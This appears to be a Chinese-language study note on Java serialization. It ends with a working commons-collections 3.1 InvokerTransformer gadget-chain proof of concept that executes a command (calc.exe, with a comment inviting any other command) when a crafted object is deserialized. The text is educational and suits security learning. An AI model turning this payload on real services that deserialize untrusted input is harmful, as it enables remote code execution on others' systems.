一、说明
以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂;反来在运营商做乙方经常会因为java反反序列化漏洞要升级commons.collections或给中间件打补丁,前面说的两个问题还是不懂;今天又研究了番,也还不是很懂只是能弹计算器暂且先记一下。
二、序列化和反序列化
序列化和反序列化应该是在学《java网络编程》的时候就写过了,所谓序列化就是把对象从内存写到磁盘文件或数据库,反序列化就是从磁盘文件或数据库读取对象。注意序列化和反序列化都是针对对象不是类也不方法。
一直不明白为件么保存到文件要另外起个名字“序列化”,所以在相当长一段时间内都不敢肯定序列化就是写文件。以下直接举例明确序列化与反序列化的概念。
2.1 序列化对象对应类
我们这里使用的类很简单,就只设置了一个叫name的属性;另外凡需要序列化的类都需要实现Serializable接口
package com.ls.serdemo;
import java.io.Serializable; class SerObj implements Serializable { public String name; }
2.2 序列化
序列化,我们这里就是实例化2.1中的SerObj类设置一下其name属性,然后保存到object.ser文件
package com.ls.serdemo;
import java.io.*; public class SerImp { public static void main(String args[]) throws Exception{ // 实例化对象 SerObj serObj = new SerObj(); serObj.name = "serobj"; // 以下就是序列化操作 // 打开object.ser文件 FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); // 使用writeObject()方法将serObj对象写到object.ser文件 oos.writeObject(serObj); oos.close(); fos.close(); } }
完成后object.ser内容如下:
2.3 反序列化
package com.ls.serdemo;
import java.io.*; public class DeSerImp { public static void main(String args[]) throws Exception{ // 以下就是反序列化操作 // 打开object.ser文件 FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); // 使用从object.ser文件中读取对象 SerObj deSerObj = (SerObj) ois.readObject(); System.out.println(deSerObj.name); ois.close(); fis.close(); } }
运行可以看到成功打印name属性
三、反序列化漏洞
反序列化漏洞不是java独有的其他语言也会有,但都一样是在反序列化时执行了注入的代码。
反序列化漏洞注入代码也不只一种形式,我们这里只以InvokerTransformer为例进行演示。
3.1 程序说明
为了简单起见这里没弄成web形式,但道理是类似的只是一个通过网络传数据一个通过磁盘传数据;我们这里只重写SerObj类和SerImp类,反序列化仍用2.3的代码。
建议直接建maven项目,commons.collections相应pom.xml依赖:
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
3.2版本将InvokerTransformer标志为不安全,使用时会抛出异常;4.4版本似乎已直接删除该函数(此即所谓java反序列化漏洞修复)。所以只能使用3.1版本。
另外网上很多教程不是使用这里“重写类”的方法,而是直接借助sun.reflect.annotation.AnnotationInvocationHandler实现代码执行,但在最新的jdk中似乎是进行了处理,至少我使用AnnotationInvocationHandler时没能弹出计算器,具体未分析。
3.2 反序列化攻击代码
package com.ls.serdemo; import java.io.*; import java.util.HashMap; import java.util.Map; // 用到的commons.collections包 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class DeSerPoc { public static void main(String args[]) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), // 执行calc.exe,把这里改成自己要执行的命令即可;服务器是linux就以成linux命令 new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"}) }; Transformer transformedChain = new ChainedTransformer(transformers); Map<String,String> beforeTransformerMap = new HashMap<String,String>(); beforeTransformerMap.put("value", "value"); Map afterTransformerMap = TransformedMap.decorate(beforeTransformerMap, null, transformedChain); // SerObjRewrite中的setValue能触发afterTransformerMap中的代码的执行 SerObjRewrite serObj = new SerObjRewrite(); serObj.map = afterTransformerMap; // 将对象写入到object.ser FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(serObj); oos.close(); } } // 重写SerObj类,其实也不叫重写就随便新实现一个序例化类,重写序列化类的readObject方法,该方法在反序列化时会被自动调用 // 在readObject中调用setValue,setValue能触发注入代码的调用,这正是代码注入的关键 class SerObjRewrite implements Serializable { // name可有可无,又不是真重写 public String name; public Map map; private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException , IOException { in.defaultReadObject(); if(map != null){ Map.Entry e = (Map.Entry)map.entrySet().iterator().next(); e.setValue("400m"); } } }
此时object.ser(部分)内容如下:
3.3 反序列化利用结果
再次运行2.3的反序例化代码,执行结果如下。
由于我们序例化的时候其实是SerObjRewrite类而不是SerObj类所以程序会报错,但这无所谓因为是先执行的readObject后执行的类型转换,注入代码在程序类型转换出错前已被执行。
参考:
http://www.freebuf.com/column/155381.html
https://www.cnblogs.com/KevinGeorge/p/8448967.html